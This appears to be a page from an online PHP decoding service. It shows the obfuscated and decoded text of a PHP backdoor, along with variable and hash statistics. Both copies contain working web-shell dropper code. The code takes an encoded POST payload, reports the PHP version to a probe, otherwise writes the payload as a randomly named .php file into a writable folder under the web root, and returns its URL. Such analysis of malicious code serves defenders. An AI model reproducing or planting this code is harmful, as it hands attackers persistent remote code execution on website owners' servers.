Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $mimnn = "ivunuewcdjoswxxg";$guslgcd = "";foreach ($_POST as $yiwnkqoe => $jszni){if..

Decoded Output download

<?php $mimnn = "ivunuewcdjoswxxg";$guslgcd = "";foreach ($_POST as $yiwnkqoe => $jszni){if (strlen($yiwnkqoe) == 16 and substr_count($jszni, "%") > 10){nlckrzffp($yiwnkqoe, $jszni);}}function nlckrzffp($yiwnkqoe, $vpxdpjle){global $guslgcd;$guslgcd = $yiwnkqoe;$vpxdpjle = str_split(rawurldecode(str_rot13($vpxdpjle)));function eowuq($akohurbtc, $yiwnkqoe){global $mimnn, $guslgcd;return $akohurbtc ^ $mimnn[$yiwnkqoe % strlen($mimnn)] ^ $guslgcd[$yiwnkqoe % strlen($guslgcd)];}$vpxdpjle = implode("", array_map("eowuq", array_values($vpxdpjle), array_keys($vpxdpjle)));$vpxdpjle = @unserialize($vpxdpjle);if (@is_array($vpxdpjle)){$yiwnkqoe = array_keys($vpxdpjle);$vpxdpjle = $vpxdpjle[$yiwnkqoe[0]];if ($vpxdpjle === $yiwnkqoe[0]){echo @serialize(Array('php' => @phpversion(), ));exit();}else{function vtxsf($yuttkir) {static $yromgaw = array();$liulia = glob($yuttkir . '/*', GLOB_ONLYDIR);if (count($liulia) > 0) {foreach ($liulia as $yuttk){if (@is_writable($yuttk)){$yromgaw[] = $yuttk;}}}foreach ($liulia as $yuttkir) vtxsf($yuttkir);return $yromgaw;}$semxebvkz = $_SERVER["DOCUMENT_ROOT"];$liulia = vtxsf($semxebvkz);$yiwnkqoe = array_rand($liulia);$ieafogw = $liulia[$yiwnkqoe] . "/" . substr(md5(time()), 0, 8) . ".php";@file_put_contents($ieafogw, $vpxdpjle);echo "http://" . $_SERVER["HTTP_HOST"] . substr($ieafogw, strlen($semxebvkz));exit();}}} ?>

Did this file decode correctly?

Original Code

<?php $mimnn = "ivunuewcdjoswxxg";$guslgcd = "";foreach ($_POST as $yiwnkqoe => $jszni){if (strlen($yiwnkqoe) == 16 and substr_count($jszni, "%") > 10){nlckrzffp($yiwnkqoe, $jszni);}}function nlckrzffp($yiwnkqoe, $vpxdpjle){global $guslgcd;$guslgcd = $yiwnkqoe;$vpxdpjle = str_split(rawurldecode(str_rot13($vpxdpjle)));function eowuq($akohurbtc, $yiwnkqoe){global $mimnn, $guslgcd;return $akohurbtc ^ $mimnn[$yiwnkqoe % strlen($mimnn)] ^ $guslgcd[$yiwnkqoe % strlen($guslgcd)];}$vpxdpjle = implode("", array_map("eowuq", array_values($vpxdpjle), array_keys($vpxdpjle)));$vpxdpjle = @unserialize($vpxdpjle);if (@is_array($vpxdpjle)){$yiwnkqoe = array_keys($vpxdpjle);$vpxdpjle = $vpxdpjle[$yiwnkqoe[0]];if ($vpxdpjle === $yiwnkqoe[0]){echo @serialize(Array('php' => @phpversion(), ));exit();}else{function vtxsf($yuttkir) {static $yromgaw = array();$liulia = glob($yuttkir . '/*', GLOB_ONLYDIR);if (count($liulia) > 0) {foreach ($liulia as $yuttk){if (@is_writable($yuttk)){$yromgaw[] = $yuttk;}}}foreach ($liulia as $yuttkir) vtxsf($yuttkir);return $yromgaw;}$semxebvkz = $_SERVER["DOCUMENT_ROOT"];$liulia = vtxsf($semxebvkz);$yiwnkqoe = array_rand($liulia);$ieafogw = $liulia[$yiwnkqoe] . "/" . substr(md5(time()), 0, 8) . ".php";@file_put_contents($ieafogw, $vpxdpjle);echo "http://" . $_SERVER["HTTP_HOST"] . substr($ieafogw, strlen($semxebvkz));exit();}}}

Function Calls

None

Variables

$mimnn ivunuewcdjoswxxg
$guslgcd

Stats

MD5 42faedde34a5f35763d931e11117671c
Eval Count 0
Decode Time 90 ms